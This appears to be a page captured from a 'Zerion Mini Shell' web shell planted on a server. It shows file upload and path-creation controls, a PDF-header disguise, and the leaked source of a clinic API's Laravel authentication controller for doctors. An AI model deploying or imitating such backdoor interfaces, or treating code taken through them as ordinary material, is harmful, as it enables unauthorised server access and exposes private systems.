%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /var/www/html/klinisol/klinisol-api/app/Http/Controllers/Api/App/v1/
Upload File :
Create Path :
Current File : /var/www/html/klinisol/klinisol-api/app/Http/Controllers/Api/App/v1/AuthController.php

<?php

namespace App\Http\Controllers\Api\App\v1;

use App\Http\Controllers\Api\ApiController;
use App\Http\Requests\Api\v1\User\ChangePasswordRequest;
use App\Http\Requests\Api\v1\User\UpdateUserRequest;
use App\Models\Doctor;
use App\Models\Role;
use App\Models\User;
use App\Transformers\DoctorTransformer;
use Illuminate\Http\Request;
use Illuminate\Support\Facades\Auth;
use Illuminate\Support\Facades\DB;
use Laravel\Passport\Bridge\AccessToken;

class AuthController extends ApiController
{
    /**
     * @param Request $request
     * @return \Illuminate\Http\JsonResponse
     */
    public function doctorLogin(Request $request)
    {
        if (Auth::attempt(['email' => $request->get('email'), 'password' => $request->get('password')])) {
            /** @var User $user */
            $user = Auth::user();
            if (!$user->is_enabled) {
                return response()->json(['error' => 'Account is disabled, contact your system administrator for more information.'], 401);
            }
            if ($user->roles()
                     ->count() === 0) {
                return response()->json(['error' => 'Unauthorised'], 401);
            }
            $accessToken = $user->createToken('api')->accessToken;
            return response()->json([
                'token' => $accessToken,
            ], 200);
        } else {
            return response()->json(['error' => 'We couldn\'t find any account matching your credentials!'], 401);
        }
    }

    /**
     * @return \Illuminate\Http\JsonResponse
     */
    public function doctorMe()
    {
        $user = auth()
            ->guard('api')
            ->user();
        $doctor = Doctor::query()
                        ->where('id', '=', $user->id)
                        ->whereHas('roles', function ($q) {
                            $q->whereIn('name', [
                                Role::DOCTOR,
                            ]);
                        })
                        ->firstOrFail();
        return $this->item($doctor, new DoctorTransformer());
    }

    /**
     * @param ChangePasswordRequest $request
     * @return \Illuminate\Http\JsonResponse
     */
    public function doctorChangePassword(ChangePasswordRequest $request)
    {
        /** @var User $user */
        $user = auth()
            ->guard('api')
            ->user();
        $doctor = Doctor::query()
                        ->where('id', '=', $user->id)
                        ->whereHas('roles', function ($q) {
                            $q->whereIn('name', [
                                Role::DOCTOR,
                            ]);
                        })
                        ->firstOrFail();
        $doctor->updatePassword($request->get('password'));
        return $this->item($doctor, new DoctorTransformer());
    }

    /**
     * @param UpdateUserRequest $request
     * @return \Illuminate\Http\JsonResponse
     */
    public function doctorUpdateProfile(UpdateUserRequest $request)
    {
        $user = auth()
            ->guard('api')
            ->user();
        $doctor = Doctor::query()
                        ->where('id', '=', $user->id)
                        ->whereHas('roles', function ($q) {
                            $q->whereIn('name', [
                                Role::DOCTOR,
                            ]);
                        })
                        ->firstOrFail();
        $doctor->update($request->only(['name', 'surname']));
        return $this->item($doctor, new DoctorTransformer());
    }

    /**
     * @return \Illuminate\Http\JsonResponse
     */
    public function doctorLogout()
    {
        if (Auth::check()) {
            /** @var AccessToken $accessToken */
            $accessToken = Auth::user()
                               ->token();
            DB::table('oauth_refresh_tokens')
              ->where('access_token_id', $accessToken->id)
              ->update([
                  'revoked' => true,
              ]);

            $accessToken->revoke();
            return response()->json(null, 204);
        }
    }
}

Zerion Mini Shell 1.0